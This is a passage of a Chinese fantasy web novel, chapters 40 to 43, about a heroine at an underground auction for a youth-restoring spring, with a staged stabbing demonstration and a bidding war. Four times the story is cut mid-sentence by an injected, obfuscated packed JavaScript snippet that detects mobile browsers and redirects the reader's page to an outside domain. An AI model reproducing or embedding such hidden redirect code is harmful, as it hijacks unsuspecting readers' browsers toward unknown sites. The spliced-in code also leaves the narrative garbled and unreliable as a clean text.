“是的,认证已经完成了。这个房间已经属于您了。” “唔,这就是所谓的专属房间?” “可以这样理解。”引导者保持着微笑说道,“除了您之外,不会有其他人入住这里。在您离开之后这里将会被封存,直到您下一次来到这里。” “我知道了。剩下的我自己来就好,”伊索尔德轻轻拍了下手掌,“你可以离开了。” 引导者又鞠了一躬,悄无声息从房门口离开了。 伊索尔德关上门,从门口旁边的柜子里翻出了全新未拆封的家居拖鞋。 沙发上的投影已经自动开启了,她盘腿坐在沙发上看了眼时间,发现正好还有十分钟拍卖会就要开始。 投影上应景地开始播放倒计时。 ......六、五、四、三、二、一。 巨大的金色烟花绽开,在簌簌而落的金色海洋之中,鸦的身影出现在了圆台上。光芒聚集在她身上,映衬得那双黑色的眼睛如同琉璃一般。 她似乎很不耐烦这样的场合,几句话就说完了欢迎词,并示意拍卖正式开始。 “......今天是拍卖会第一周期的第一场。欢迎各位的到来。” 40.不老泉 第一件拍品并没有被直接展示出来,出现在众人面前的是一只纯黑色的匣子。 它看起来像是用木头做的,四面雕刻着波浪一样的纹路。匣子看起来很旧,也很破,连上面附着的装饰都出现了不少破损。 四面八方的光线对准了匣子所在的展台,那些时间流逝所带来的伤痕也被展示在每个人面前。 “唔...感觉很普通,像古董之类的。而且还是那种从赝品变成正品的东西,这种东西能被放在第一个吗?感觉意头不太好。”阿尔法小声嘀咕。 匣子被全方位展示着,下面有人提出了跟阿尔法类似的疑问,拍卖师的笑容丝毫不乱,似乎对此早有预料。 “正如大家所看到的那样,这是一只被造假过的匣子,仿照了三百年前的茗大师的作品,虽然这个仿制品的工艺很粗糙,但是值得一提的是,制造它的木料是已经绝迹的天榆木,有着清心明目的功效。简单来说,就是可以舒缓压力,让人心情愉悦。” “另外,这种木料还有一个珍贵的地方——如果用它来储存东西的话,时间将几乎不会流动,其储存时间将会被无限延长。” 拍卖师的目光环视了一圈场内,继续说道: “换句话说,能用这样珍贵的木料所保存的东西,往往是价值难以估算的绝世珍宝。” “请看,这里面才是我们今天真正的拍品。” 她戴上了一幅白手套,小心翼翼地打开了木匣子的锁扣,将它的盖子往上掀起来。 清亮的光芒在一瞬间笼罩了整个会场,一泓清泉静静地卧在匣子里面。它的颜色是珍珠粉一样的莹白色,在灯光的照耀下,柔和得如同一抹月光。 泉水在匣子里不断切换着液体和粒子两种形态,同时展现出了“无”与“有”两种模样。 拍卖师的声音变得洪亮起来:“这就是今天的第一件拍品——不老泉!它原本是只存在于故事之中的虚拟造物,但在某次域外探索中,我们派出的探险队发现了这一不可思议的存在。它存在于一颗即将衰败的星球的最核心部位,是因为意外而被发现的、毫无疑问能够名列星际珍奇的宝物。” “经过对泉水的实验,我们发现它能够令时间返还,饮用它的人将重返自己的青壮年时期,用它涂抹在致命的伤口上则能够令其复原如初。它是时间的双手中遗漏的沙粒,拥有它的人将可以用金钱买到光阴。诸位,还有比这更划算的买卖吗?” 不必去看,也能预想到会场内的人们内心出现了怎样的震动。时间这一领域就和灵魂一样充满未知,即便到了星际时代,仍然没有谁能弄清楚。 死亡、时间和灵魂就如同高悬在每个人头顶的圆月,高高在上地俯视众生。如果拍卖师所说的是真的,那么恐怕这将是打开时间领域的第一把钥匙。 这件拍品绝对配得上“开场”,甚至远远不止。 但还有一个前提。 它必须要是真的。 “...怎么证明?”有人语气干涩地发问。 拍卖师微微一笑,她拍了拍手,两个身着黑西装的保镖走了上来。 保镖一男一女,脸上都戴着黑色的墨镜,他们的背后斜插着通讯器,腰间则别着地下城特别配置的量子枪。他们推着一个带平台的小推车,上面放着一把短刀,两支盛着莹白色液体的试管。 “我能够理解大家的疑问,为此,我们特别准备了现场演示。”拍卖师走到了保镖旁边,她摘下了其中一个人的墨镜,将她的面容暴露在灯光之下。“这位女士已经一百岁了,种族人类,她正处于中年向老年的过渡阶段,显然,时间已经在上面留下了不可动摇的痕迹。” 她又走到另一位保镖面前,拿起了放在平台上的短刀。 短刀的刀刃反射着光线,轻而易举切开了她另一只手上拿着的墨镜。 拍卖师拿着刀比划了几下,看起来有些苦恼,像是不知道从哪下手,底下发出轻轻的笑声,她有些不好意思地转过去,眼也不眨地将短刀插进了保镖的胸口。 血花飞溅,她灵活地闪到一边,即便如此,长裙的边角依然被染上了鲜红的色彩。 拍卖师把墨镜丢到一边,无视下面人的反应,泰然自若地继续自己的解说工作:“现在,我们的两位保镖分别进入了衰老和濒死的状态,这道伤口很深,即便送去医治,也很难保住性命。可以说,在一分钟之内,他将毫无疑问地走向死亡。” “但没关系。”她以一种宽慰的语气说道,“因为他不会死,至少不会死在这里。” 拍卖师拿起那两支试管,先启封其中一支,均匀涂抹在了女保镖的脸上。保镖全程纹丝不动,面无表情地配合着她的动作。地下城似乎在训练员工上有独到之处,不管是被突然摘下墨镜,还是亲眼目睹兵器刺向自己,他们连眼睛都没眨一下,像木偶一样立在原地。 一分钟快到了,男保镖的脉搏越来越衰微,他已经缓缓顺着推车侧面滑坐到了地面,脸上惨白一片,不断有血液从他的伤处晕开。 拍卖师不紧不慢朝他走过去,随意地将试管中的液体倾倒在他胸口处。 所有人屏住呼吸等待着这仿佛魔术一般的表演。 那颗衰弱下去的心脏止住下坠的迹象,他胸前的衣服被撕开了,深刻的伤口正在缓慢愈合,它渐渐收拢成一条细线,如同攀附在身体上的一道疤痕。 摘掉墨镜的脸上一点点鼓起、平复、柔软,恢复到年轻时饱满柔嫩的样子。 拍卖师的脸上露出了大大的笑容,她拍了拍自己的手掌,紧接着,台下如梦初醒,响起暴雨似的掌声和呼喊声。 无需多言,这近乎儿戏一样的证明已经足以说明这汪泉水的价值。试管所能容纳的泉水不过十几毫升,效果就已经如此惊人,假如真的能拿到拍卖师手边放着的那只木匣,又能实现多少奇迹? 那意味着不死,意味着青春,意味着已经失去但仍然可以挽回的遗憾,某种意义上,与后悔药无异。 莫名的狂热充盈在空气之中,理智轻易地被点燃了,剩下的只有渴望。 “起拍价两千万,上不封顶,竞价开始!” 拍卖师的锤子重重落在了桌面上,把所有人惊醒,她背后的屏幕上实时显示着拍品的价格,随着锤音落下,正在不停地、近乎疯狂地上涨。 阿尔法的嘴已经张成了大大的O形,她定定注视了那只匣子一分钟,才从那种震动中回过神来。 “没想到你们的世界还有这样的东西...”她喃喃自语,“差点以为在看魔术表演了。” 苏珊跟她一样震惊:“不可思议...地下城真的没有造假吗?” “嗯?没有哦。”仰躺在沙发上看杂志的伊索尔德漫不经心说道,看起来丝毫不为之所动,“虽然过程很戏剧性,那位小哥是真的差点死了哟,那位女士也是真的恢复了青春。至于为什么采用这样的方式,大概是觉得这样更直观吧。虽然会让人觉得这里变成马戏团就是了。” 伊索尔德看起来一点也不惊讶,不如说,她冷静地有些过头了。 阿尔法在这几天大概了解了一下星际各种族的平均寿命,人类大约在一百七十岁左右,幻想种则普遍在三百及三百岁以上,目前的最高记录是一位名为达丝的精灵,据说她活了两千岁,现在依然活跃在精灵族之中。 她想:或许对于有着漫长寿命幻想种而已,不老泉并不算珍贵的东西。 想到这里,阿尔法直接提问了:“幻想种也可以做到类似的事情吗?” “做不到。”出乎意料,伊索尔德干脆地否认了。 “诶?”阿尔法露出不解的神色。苏珊也在一旁同样打出了问号。 “准确来说,是虽然可以做到,但没有什么必要做。”她又补充道。 人偶和灰百合看起来还是无法理解,伊索尔德抓了抓自己的头发,直接从沙发上坐起来,跪坐在灰百合和人偶面前。 “其实这就相当于借贷,是一种根本不可能还清债务的骗局。”她试图把自己的解释用通俗易懂的语言表达出来,“倒流时间听起来是很不错,但你要知道,这世界上的时间都是有定数的,偷走一部分,迟早有一天也会加倍地还回去。” 苏珊和阿尔法看起来还是一脸懵懂。 “啊,那个拍卖师刚刚不是说天榆木的木料可以让储存在里面的东西不腐朽吗?” 灰百合和人偶齐刷刷点头。 “就拿那个做例子吧,其实那块木头并没有什么停滞时间的作用,之所以被这样认为,是因为过去有很多术士会把很多有关时间的法阵刻在那种木头上面,所以就给人‘这种木头可以让时间停滞’的错觉。” “等等,术士是什么?法阵又是怎么回事?我不记得我们的世界里还有魔法啊?” “诶?你不知道吗,这可是幻想种必备常识啊,”伊索尔德的眼睛睁大了,“‘花园’有给你寄过书,里面肯定有的,你是不是没有看?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809338|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏珊可疑地沉默了一下,捂住自己的花苞:“...太厚了,就,只看了目录...” “提坦妮娅会哭的...”伊索尔德叹气,“好吧,那我从头说起。总之,就是我们这个世界曾经被毁灭过啦。” 她爽朗地、轻描淡写地说出了这句话。 “啊???” 苏珊猛地抬起头。 “出现了,可以跟异世界相提并论的奇妙设定!” 人偶拍了拍双手,发出清脆的、陶瓷碰撞的声响。 “前情比较复杂,总之你们只要知道以前的文明是魔法文明就好,魔法文明因为一些原因毁灭了,现在的文明是在前代文明的废墟上发展起来的,幻想种大概也是那个时候的遗留产物吧,我猜的。” 王虫敷衍地几句话概括完,转而开始解释木匣子和不老泉:“那个时候的东西基本上都毁灭得差不多了,剩下来的资料也很少,不足以复原出所谓的魔法,但是术士是存在的,甚至直到三百年前,她们都依然暗中活跃着。从那只匣子的制造时间来看,大概是某个术士的练手产物吧...” “然后呢,如果想弄清楚不老泉的原理,我们必须要知道两件事。” 她竖起一根手指。 “一,时间是可以被储存或偷走的,它可以被摘取出来,放进特定的器皿之中。” 她竖起第二根手指。 “二,世界上的时间是有定数的,偷走的必将数倍归还。换句话说,偷窃是会被惩罚的。” “如果能够明白上面这两件事,我们就可以进行下一步了。不老泉的运作原理很简单,它是对时间的粗略加工,也就是入门级别的使用。”伊索尔德做了一个倒水的动作,“术士先制作了一个能够保存时间的特殊器皿,然后再以器皿为媒介,把用某种方法偷来的时间倾倒在特定的对象身上,这样一来,就能让人重返青春,亦或者‘复活’。” 说完,她还补充道:“其实还有更多用法,但是这两种是最简单的,练手的术士也就只设置了这两种。不过值得一提的是,这个方法虽然看起来很了不起,但使用过的人都无一例外付出了惨痛的代价。” “死亡吗?”阿尔法说。 伊索尔德的嘴角微微翘起,她的笑容很神秘,如同深渊一般,潜藏着无数难以分辨的东西。 雪白的眼睛渐渐染上翡翠般的色彩,竖立的黑色瞳孔之中,隐隐浮现出跳跃的金色光芒。 她唇边的笑容越扩越大,几乎让阿尔法感到了某种不安。 “不。” 她轻飘飘地说。 “是比那更可怕、更恐怖、更寂寞的惩罚。” 阿尔法打了个寒颤,不知道是为伊索尔德奇诡的语气,还是为她所讲述的内容。 “好了,不逗你了。”看到阿尔法的反应之后,伊索尔德笑着倒回了沙发上,头发像盛开的花朵一样向周围散开,她屈起膝盖,两只手放在身侧伸开,“总之你们现在明白了吧,地下城拿出来的这个不老泉到底是什么样的东西,我可是很难得做这样详细的解释的。” “是恶魔的不平等交易啊。”苏珊总结。 它从包厢里往外望去,看到拍卖师后面的数字越攀越高,感到一种难言的怜悯。 费尽心思买到手的竟然是这样的东西,地下城这算消费欺诈吗? “如果他们自己也不知道的话应该不算吧?最多只能算她们失职什么的……?”阿尔法接话道。 苏珊这才发现它不知不觉把自己的问题说了出来。 “是啊。他们到底知不知道呢?”伊索尔德还在笑,苏珊从没见过她这样频繁地笑,它有一瞬间以为那其实是个错觉,是自己的妄想。 场外的拍卖还在如火如荼进行着,在拍卖师温柔而亲切的笑容背后,伊索尔德清楚看见了一艘朝自己驶来的游轮。 游轮的主人操控着地下城这个庞然大物,甚至操控着鸦放出了能影响时间的禁忌之术。它就像蜘蛛一样编织着自己捕猎的蛛网,借助着地下城的阴影扩张自己的领地,贪婪地想要将所有触碰蛛网的人吞噬下去。 我和ta,谁才是那个猎物? 她有一种预感,只要完成“珍宝”的委托,就能够知道这个问题的答案。 伊索尔德闭上眼,沉入意识海,给塔纳斯发去自己的信息: “塔纳斯,我找到好玩的东西了。” 塔纳斯的回复很简洁。 “恭喜您,殿下。” 41.竞价游戏机 不老泉的拍卖价格一开始涨得很快,人们抱着极大的热情参与竞拍,但是不断上涨的价位最终还是超过了在场内大部分人的预算,最后演变成了几位大富豪的竞争。 越发夸张的数字出现在屏幕上,等越过“七百亿”的价位后,竞价的速度开始变得缓慢。 七百亿足够买下数十个小型星球,如果有相关领域的人脉或门路,加点钱甚至可以买下几个基础设施完善的A等星球。 这是一笔足以建立国家和军队的庞大财富。 数字上涨的速度越来越慢,竞价的人开始谨慎地试探对方的预算,评估自身的资产。 “差不多就是这么多了。”伊索尔德扫了一眼,“一千亿之前就可以停下来。再多就不值得了。” “一千亿...”苏珊沉吟,“虽然这的确是个天文数字,但是不是显得不老泉有些廉价了?虽然它自身的功能存在缺陷,但是其他人并不知道吧?有钱人应该挺怕死的吧。” 言外之意,是觉得这个价格比起“不老”来说有些低了。 伊索尔德捏了捏灰百合的叶子,笑着说:“但是有钱人也是很精明的呀。” 她把自己刚刚看的那本杂志摊开,翻到某一页,示意灰百合去看。 原本关注着场内竞价的阿尔法也凑过来跟它一起看。 杂志上用了横跨两页的标题来吸引读者眼球,在大标题的上下左右,各自列举了地下城一百年来得到并卖出的十大宝物,内容写得十分简略,只大概提了一下它们的名字和最终成交价,至于被谁买走了这件事则只字未提。 “能让时光倒流的沙漏,使死人复活的石头,穿梭时间的钥匙...”苏珊一字一句念出杂志上的标题,“平均成交价...八百六十七亿。” “有什么想法?”伊索尔德问。 “这不是全都跟不老泉差不多的东西吗!”阿尔法惊讶地叫起来,“那个术士到底制造了多少这样的东西啊?” 另一边的苏珊恍然大悟:“原来如此。只要看过这本杂志的人都会明白地下城有着稳定售卖类似物品的能力,在产量大于市场所需的情况下,价格会有所降低也是可以理解的事情。” “‘可以等下次再来买,毕竟地下城有很多这样的东西’——其他人大概是这样想的吧。虽然昂贵,但是并不稀有...这种东西在外面根本听不到一点风声,地下城的保密工作未免做的也太好了。” “没错。”伊索尔德点点头,“地下城的拍卖会每次都会出售类似的东西,这是熟客都知道的事情。之所以没有传到外界,可能是签订了保密协议之类的东西。” 她一边说,一边按下了竞价按钮。那是个放在沙发上普通如同游戏机一样的仪器。最中间是一块液晶屏,被白色的线简单粗暴分为两块,一边的数字是空白的,一边的数字固定显示着一百。 空白数字的下面有一排标注了数字的键盘,可以通过键盘自定义输入价格,另一边则代表每次出价都在原本的价格上增加当前拍品价格单位的一百倍。 如果拍品的价格是一万,那么就增加一百万。 如果拍品的价格是一亿,那么就增加一百亿。 单位的跳跃将带来价格的飞升,数字的背后代表难以估量的资产,用这个机器出价的人名字会出现在拍品当前数额的旁边,既满足富豪的虚荣心,也暗中鼓励富豪出更高的价格。 是地下城体贴为富豪安排的竞价游戏机。 不过伊索尔德没有虚荣心这种东西,她用这个只是觉得比一个个输入数字来得方便。 在伊索尔德按下按钮之后,屏幕上的数字跳到了八百亿。 阿尔法:“???” 她瞪大了眼睛,她先是看看投影里那个换算成实体货币足以把人淹死的金额,又看了看好像按下电灯开关一样自然的伊索尔德。 进入拍卖会需要验资,尽管伊索尔德直接被城主的人领走了,但她也确实在前台那里走过相关流程。 也就是说,伊索尔德真的能付得起这八百亿。 “你好有钱。”她衷心地说,“我愿意在任何时候接受你的订单。” 伊索尔德挑眉:“谢谢。” 苏珊倒是没对伊索尔德的存款发表什么意见,它早就知道塔纳斯绝对不可能不给出门在外的王虫准备资金,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819035|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然数额大了点,但对整个虫族来说不值一提。 它不理解的是伊索尔德为什么要竞价。 伊索尔德很明显对不老泉毫无兴趣。与此同时,她也不是个挥金如土的败家子。 “是有什么必须买下来的理由吗?”灰百合问。 屏幕上的数字又跳跃了一次,是有人在伊索尔德出价后加价了。 在这次加价过后,不老泉的价格飙到了八百五十亿。 伊索尔德又按了一下出价的按钮,数字跳到了九百五十亿。 她轻快地回答:“是呀,这也是没办法的事。毕竟我们是不能拒绝的。” 苏珊:“什么?我们是谁?” 这里除了阿尔法和它还有别人吗?还是说这是虫族内部的事情? 伊索尔德低下头看它,她的身体比百合花庞大得多,投下来的阴影将灰百合完全盖住了,垂下来的银发像帘幕一样切割出细细的光线。那些光线打在了苏珊的枝叶和花瓣上,给珍珠般的重叠花瓣镀上银色的光。 浅淡的黑暗里,王虫的眼睛像在发光,那是黄金一般的眼瞳,是王族的象征。 金色的眼瞳里逐渐浮现出了可以被称作威严的情感。 不是忠诚,也不是爱。 那是更沉重的情感,是灰百合还没弄懂的、某种将她与普通虫族完全划分开来的东西。 她有些无奈地笑了一下。 “是使命。” 伊索尔德说。 她轻轻抚摸着灰百合的花瓣,然而吐出的字句却泛着肃杀般的冷酷。凝滞的气氛就如同即将到来的暴风雨,尽管天空看起来万里无云,然而海边有经验的渔民都知道这只是天灾降临的前兆。 天灾将摧毁一切、碾压一切、泯灭一切。 “前代文明是错误,而我们是这个世界的清道夫。我们要排除异常、清理病毒,要切下这个世界病变的部位,让它回到健康的状态。这不是为了拯救世界,苏珊。” 伊索尔德平静地说:“这是刻在幻想种基因里的指令。是我们诞生的意义之一。” 【幻想种第一守则:不惜一切代价抹杀前文明的遗物】 42.双胞胎 和伊索尔德估算的一样,不老泉最终以九百五十亿的价格成交了,由于她选择了匿名模式,所以最后在屏幕上与不老泉所并列的名字是包厢的门牌号,09这一数字被放大滚动到确保场内所有人都能看到的程度,数分钟后,这一行数字毫无预兆地炸开,现实中的会场天花板则往下洒落对应的金箔雨作为庆贺。 房间内置的通讯器响起,伊索尔德点了外放。 机械刻板的声音告诉她刚刚拍下的不老泉已经被送达,只需要打开门即可拿到。 对于身处包厢的贵客们,地下城采取了“即买即送”的模式,他们会通过特殊的方式将货物压缩,然后竞拍结束的时候就立刻安排人将拍品送到对应的包厢。考虑到拍品的贵重,这次的运送是由仿生人和真人一起完成的。 伊索尔德挂断通讯,把门打开,两个一模一样的人面带微笑地站在她面前。 她们身穿以宝石蓝和乳白色为基础色调的制服,比伊索尔德矮一点,面容带有典型的帝国人特征——眉眼深邃、瞳色偏黑、手背上有着明显的纹身痕迹。 每个帝国人都会在十岁那一年烙印上自己的编号,以此作为身份的证明。最开始是四位数,代表出生的日期,之后会综合多方面要素每年在前面增加一位数字,一直到二十岁成年为止。 这对双胞胎手背上的数字是模糊的,这意味着另一件事—— 她们不愿顺从帝国的统治,涂抹掉了自己的数字,是毋庸置疑的叛逃者。 伊索尔德微微低头,仔细打量着她们的面容,片刻后,她问: “你们谁是仿生人?” 双胞胎面容不变,依然保持着热情而不失分寸的笑容:“您可以猜猜看。地下城已经收到了预付款,感谢您的慷慨,请在这里签字。” 她们就连说话的声音和节奏都一模一样。 “唔...” 伊索尔德一边在那堆厚厚的协议末尾写下自己的名字,一边用笔的尾端戳了戳自己的下巴,她又看了这对双胞胎一眼,然后低下头,在最后一个字母旁边画了朵百合花。 她画完最后一笔,把那张纸单独拎起来抖了抖:“我猜是左边那个。” 双胞胎接过被签完字的协议,将它们收拢规整,她们又一同开口了:“您说的是谁的左边?” “我的左边。”伊索尔德笑了一下,用还未盖上笔帽的钢笔指向了自己所说的答案,“我看到她没有心脏了,那里咕噜咕噜转动的是不断咬合的齿轮。” 伊索尔德的第二视觉能看到生命本来的颜色,在她眼里,左边那个人的心脏处是机器特有的靛青色。那些靛青不断交织又分离,在某个瞬间重合出更深的颜色。 右边那个眨了眨眼,她看起来有些惊讶,但那点惊讶很快也归于平静,仿生人与真人的猜猜看游戏只是微不足道的小事,她还记得自己的本职工作。她先确认了一遍协议的内容,发现没有问题之后就微微鞠躬,几不可查的空间波动出现在她身边,站在她旁边的仿生人伸出手,从那个被打开的空间里拿出了那只刚刚还被摆在展示台上的木匣子。 她把木匣子放在了伊索尔德的手中,没有多说一个字:“不老泉。” 完成了任务的双胞胎向她行了一礼,往远处的出口走去。 —— 伊索尔德把木匣子随手放在了柜台上,在木头与金属触碰时,她听到了一道轻微的、不和谐的音调。 “嗯?” 有东西? 她把木匣子拿起来,放到灯下面打量。一张被折叠得四四方方的纸条轻轻飘了下来,落在柜台上。 纸条上用标准字体写着一行字: 【七天后,“珍宝”与“秘密”都将作为焰火在此地降临,静候您的到来】 “这是什么?邀请函吗?”灰百合凑过来看她手上的纸条。 “与其说是邀请函,不如说是威胁吧...或者说是预告函?类似于盗贼提前说我要偷走某某东西如果做得到你就来阻止试试看吧...之类的。”对这种情况明显更有经验的阿尔法接话道。 “可能?”伊索尔德把那张纸条丢进垃圾桶,带着这两个因为看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823303|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她太久没回来所以干脆来找她的俩家伙走回沙发,阿尔法自觉地跳到了沙发上在自己的位置上坐好,苏珊则拒绝回归原位表示自己就想待在伊索尔德脖子上。 伊索尔德抗议无果,只好默许了苏珊的行为。 阿尔法对城主的委托也略知一二,她联系了一下现状,开始猜测写下这行字的是谁:“我觉得说不定是想要对珍宝出手的家伙,虽然不知道这个人用什么手段知道了伊索尔德是城主的委托对象,但是...” 她托着自己的下巴:“感觉想营造出一种高深莫测的感觉却用力过猛,以至于遣词造句看起来十分莫名其妙。文学素养堪忧啊。” “同意。”苏珊也说,“其实我觉得地下城风气真的有点奇怪,她们好像很喜欢用文绉绉的言辞,很多语法都是已经被淘汰了的时代产物,虽然在书面上会保持跟现代接轨的文辞,但总体来说还是挺晦涩的...” 之前鸦交给伊索尔德的书信就明显体现出了这一方面的迹象,没想到连想要拿走“珍宝”、在地下城大闹一通的预备犯人也有类似的倾向。 ...地下城是什么复古文学流行地吗?它忍不住想。 伊索尔德若有所思:“其实我觉得这是战书啊。” “谁?地下城有你仇敌吗?——等等,你刚刚有在听我们说什么吗?” “要说仇敌的话,‘那个’难道不算吗?” “‘那个’是谁?” “不老泉的制作者。”伊索尔德微微笑起来,“我本来以为那个术士说不定死了呢,想着这样的话只需要销毁不老泉就可以结束了。毕竟我不太喜欢计划外的工作什么的...但是既然都能送来这种信的话,看起来似乎还活得挺不错的,那样的话就有点麻烦了啊。得找到源头才行。” “你准备去见ta吗?” “反正跟委托是同一天。”伊索尔德摊开手,心情愉快地说,“既然‘珍宝’和‘秘密’都会在拍卖会上出现,那就干脆一次性解决好了。” “如果这个真的是战书,那ta大概也会到场吧。” 43.第七天拍卖会 拍卖会第七天。 不老泉为这次的拍卖开了个好头,自那天之后的所有场次里,许多拍品的成交价都远超预期。那种黏稠如蜂蜜般的狂热气氛似乎还在此地滞留不去,哪怕时隔七天,当再一次走进这里时,伊索尔德也依然看见这栋建筑物中所有人眼中隐匿的疯狂。 她今天没有去09包厢,和普通的客人一样在大厅里入席。青翠欲滴的灰百合被阿尔法搂在怀里,而她则端坐在伊索尔德的肩头。 伊索尔德今天换了一套纯白的西装,袖口处缀着深绿色的宝石袖扣。她没有对头发多加修饰,仅仅从两边分出一束扎成了发辫,用塔纳斯提前准备好的发梳固定在了脑后。她的睫毛和眼睛都是雪白的,全身上下只有袖扣带着一点不经意的绿,她只是站在那里,就好像一束垂落而下的月光。 她走进大厅时,有不少人下意识屏住了呼吸。 “神...” “连月亮也在她面前甘拜下风。” “地下城什么时候多出这样一位客人?” “......” 诸如此类的交谈在大厅各个角落里小声响起,大多都在讨论她那超标的美貌和同样超标的金钱实力。 如果没看错的话,她走去的那个方向是大厅最中间的位置。和其他红色的座位不同,那里的座位是显眼的白色,不仅视野最好,面前还有一张小圆桌,上面摆满了地下城出品的各类美食和小吃。如果不耐烦周围的嘈杂,还可以选择升起屏障,过滤掉周围的一切声音,专心享受拍卖会。 和“房间”一样,这也是专门提供给贵客的座位。地下城从不出售“房间”和“座位”,这些与客人身价挂钩的东西都只作为福利开放,换言之,只有在地下城消费达到一定额度,并得到地下城背后势力认可的客人才能得到邀请。 值得一提的是,权力和金钱两点必须同时具备,无论缺少哪一种,都不会是地下城所青睐的交易对象。 由于地下城的商业版图越扩越大,对贵客的划分也越来越细致,近些年来,帝国上层中也有不少人将“是否在地下城拥有自己的房间和座位”作为评判一个人地位的标准之一。如果没有,甚至会被嘲笑乃至排挤。 能被地下城奉为座上宾的人已经越来越少了,和那些已经能烂熟于心的名流相比,伊索尔德无疑是个生面孔,当看到她并没有第一时间升起屏障的时候,甚至有人蠢蠢欲动,想要与她说几句话,即便只是些“你好”“再见”的无用废话,说不定也能带来一个平步青云的机会。 “这什么东西?”伊索尔德小声嘀咕,对着座椅扶手上一连串令人眼花缭乱的按钮微微拧眉,“就没有使用说明书吗?” 王虫的五感能让她听到这间大厅里最细微的声响,入场的时候她就已经听到了不少声音,现在更是多到让她都觉得有些烦躁。 “屏障是左上第三个蓝色按钮。”她左边的人提醒道。 伊索尔德依言按下,淡蓝色的屏幕缓缓升起,水波纹路在屏障的表面上荡漾不息,将里面的一切都扭曲成了模糊而朦胧的景色。 “啊,好了。” 她转过头去看旁边那个人,是诺贝塔。 几天不见,她看起来精神好多了,原本因为躲避追杀而变得有些黯淡的头发都变得顺滑而柔韧,她的两只手交叠放在腹部,看起来端庄而优雅。 “好久不见。”她打了声招呼。 “晚上好。”伊索尔德点了下头,“你怎么会来这?” “我听鸦说今天晚上这里会发生有趣的事情,”她轻声说道,“而且今天晚上也是深海之冕拍卖的日子,我觉得还是过来看看比较好。” 啊...深海之冕。伊索尔德从记忆的角落里扒拉出来这顶王冠,当初百首龙为了它潜入星舰,又因为深海之冕被追捕从而与她做交易,虽然她想要的只是龙族的血,对王冠没什么兴趣,但百首龙坚持要这么做,她也就没拒绝。不过由于实在不知道该怎么处理,之后就交给诺贝塔负责了。 “原来是今天吗?”伊索尔德唔了一声,没多关注,而是问了诺贝塔另一个问题,“你知道鸦去哪了吗?” 今天本来是委托开始的日子,如果鸦真的有那么紧张那件“珍宝”的话,理应及时与她取得联系。结果不仅委托人一整个白天都毫无消息,在伊索尔德发挥敬业精神打了个问号过去之后,对面干脆就直接显示已读未回了。 如果不是苏珊说还能感觉到鸦的生命能量还在活跃,伊索尔德都要怀疑她是不是准备跑单了。 “她今天有点忙,”诺贝塔说,“不过今天是第一周期的最后一场,她肯定会出现致辞的,到那时候就能看见了。” “这样啊...”伊索尔德有点慢吞吞地说,“我还以为她被绑架了呢。” 诺贝塔:“......” 诺贝塔:“不会吧...这里可是地下城诶?” 哪有地下城城主在自家被绑架的道理啊!这话传出去绝对是对地下城拍卖业的巨大打击,这一行本来就看重安全和隐私,如果出现这种情况人们肯定会质疑地下城的安保水准,连城主自身的安全都不能保证,又该怎么保证拍品和客户的安全?不信任会掐断拍卖业的命脉,到那时候不管再做什么都难以弥补了。 “这种新闻也不少见吧,入室抢劫之类的,”伊索尔德有些奇怪瞥她一眼,“她的安保又不是完美的,万一出了点纰漏呢?” “我今天早上还看见她了的。”诺贝塔坚定地说,“肯定没事的,你不要多想。” “我只是提出合理的猜测。万一因此拿不到尾款可太亏了,她还没跟我说‘珍宝’到底是什么呢,谜语游戏不准备一个谜底可说不过去啊。”伊索尔德懒洋洋撑着自己的下巴。 诺贝塔还想说些什么,但她刚刚张开口,浑厚的钟声就在场内响起,彻底盖过了她的声音。 钟声一下比一下悠久,敲满五下之后,整个大厅都安静了下来。 拍卖正式开始了。 和前几天的拍卖相比,今天拍品的质量无形中要高出一截,可能是考虑到要有个好的结尾,地下城在第一周期的拍卖会中放出了不少件好东西。 伊索尔德回忆了一下老师和塔纳斯她们的爱好,秉持着“走过路过别错过”的朴素心态统统买了下来。 “有喜欢的自己买。”伊索尔德对人偶和灰百合说,“我付钱。” 一件又一件拍品被流水似送往她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841106|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 